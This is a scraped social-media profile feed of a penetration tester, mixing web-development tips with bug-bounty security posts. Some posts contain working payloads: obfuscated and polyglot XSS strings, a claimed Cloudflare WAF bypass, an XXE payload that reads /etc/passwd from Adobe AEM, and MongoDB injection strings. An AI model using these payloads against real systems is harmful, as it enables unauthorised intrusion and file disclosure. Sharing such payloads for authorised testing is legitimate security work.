Redparsec @R3dpars3c

Intermediate in C++, Python, JavaScript. Full Stack Developer, JAVA, Advanced penetration testing. hackerone.com/r3dpars3c Kathmandu, Nepal Joined December 2016

Tweets

378
Followers

125
Following

75
Likes

4K

André Baptista @0xacb

a month ago

The AI-powered hacking space is moving fast. CAI was already pretty solid, and Strix just dropped last week. 👉 CAI: github.com/aliasrobotics/… 👉 Strix: github.com/usestrix/strix Anyone tried these yet?

5 46 211 15K 210

Download Image

7h3h4ckv157 @7h3h4ckv157

a month ago

Directory listing through "𝐑𝐚𝐧𝐠𝐞" header (3rd line) Credit: Andrei Agape More: sqrsec.com/tips-and-tricks

5 60 353 23K 279

Download Image

Shefali @Shefali__J

a month ago

10 GitHub Repos to Learn Node.js🔥 Open this🧵 Bookmark for later🔖

16 30 212 19K 363

Dhanian 🗯️ @e_opore

2 months ago

How to Set a MERN Stack Project Structure.👇 mern-app/ │ ├── backend/ │ ├── config/ │ │ ├── db.js │ │ └── env.js │ ├── controllers/ │ │ └── userController.js │ ├── models/…

14 205 1K 68K 1K

Download Image

Web Security Academy @WebSecAcademy

2 months ago

How to find viable targets for client-side desync attacks: 1️⃣ Open Burp Suite and intercept requests. 2️⃣ Choose an endpoint that wouldn't usually expect a POST request (e.g GET) and send it to repeater. 3️⃣ Go to Inspector > Request Attributes > Protocol field > Upgrade to…

3 53 343 16K 251

Download Video

Dhanian 🗯️ @e_opore

2 months ago

Fullstack Developer Roadmap: Skills and Projects to Land Your First Job ➔ 1. Master the Foundations - HTML: Semantic tags, accessibility, forms, SEO structure - CSS: Flexbox, Grid, responsive design, animations - JavaScript: ES6+, DOM manipulation, fetch API, events…

7 50 278 16K 355

Dhanian 🗯️ @e_opore

3 months ago

HOW TO STRUCTURE YOUR Fullstack Development PROJECT (Flask + Vue.js)⬇️ 📁 flask-vue-project/ ├── 📁 client/ (Frontend - Vue.js) │ ├── 📁 public/ │ │ ├── 📄 index.html │ │ └── 📄 favicon.ico │ ├── 📁 src/ │ │ ├── 📁 assets/ │ │ │…

9 95 620 35K 573

Clandestine @akaclandestine

3 months ago

XSS payload, Cuneiform-alphabet based "><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"…

0 13 65 4K 33

KNOXSS @KN0X55

3 months ago

Use this #XSS payload and pop alert boxes EVERYWHERE! 😎👇 JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*

0 34 163 7K 153

André Baptista @0xacb

4 months ago

This is how DOM clobbering works. When you create an element with an id, the browser automatically creates a global variable for that ID: <a id="foo"></a> Now window.foo points to that single element. But when you create multiple elements with the same id: <a…

4 41 215 16K 165

Download Video

Muqsit 𝕏 @mqst_

4 months ago

👾 The Monsters in Your Build Cache - GitHub Actions Cache Poisoning Blog: adnanthekhan.com/2024/05/06/the… #infosec

3 28 131 11K 48

Download Image

Intigriti @intigriti

6 months ago

6 Ways to escalate your (blind) XXE vulnerability in PHP & Java-based targets! 😎 A thread! 🧵 👇

2 23 107 7K 78

Download Image

X @TheMsterDoctor1

6 months ago

Advanced Guide to Detecting and Exploiting SQL Injection Introduction: In this guide, we’ll delve into a more advanced method for detecting SQL Injection vulnerabilities and efficiently exploiting them using SQLMap. This approach will help identify vulnerable endpoints more…

5 147 621 31K 587

Download Image

Critical Thinking - Bug Bounty Podcast @ctbbpodcast

7 months ago

Unicode normalization can break sanitization. Some characters that look safe can transform into something dangerous when converted to uppercase/lowercase.

3 6 101 7K 55

AEMSecurity @AEMSecurity

10 months ago

AEM guideContainer XXE? guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}} #AEMSecurity

5 76 536 33K 363

Download Image

Intigriti @intigriti

10 months ago

Here's how you can quickly escalate your SQL injections to RCE on different databases! 🤑 A small thread! 🧵 👇

2 37 192 19K 203

XSS Payloads @XssPayloads

11 months ago

A CloudFlare bypass payload by @nav1n0x "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F

5 25 202 15K 161

Brute Logic @BRuteLogic

11 months ago

Just another interesting construct for #XSS disguising the tag name, event handler and JS code as a fully validated URL. <<https:x55.is/onfocus=1?impo… AutoFocus ContentEditable>> PoC brutelogic.com.br/xss.php?a=%3C%… #hack2learn

0 5 61 6K 41

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

12 months ago

🚨 No Sql Injection - Mongo DB Payloads 🚨 true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1});…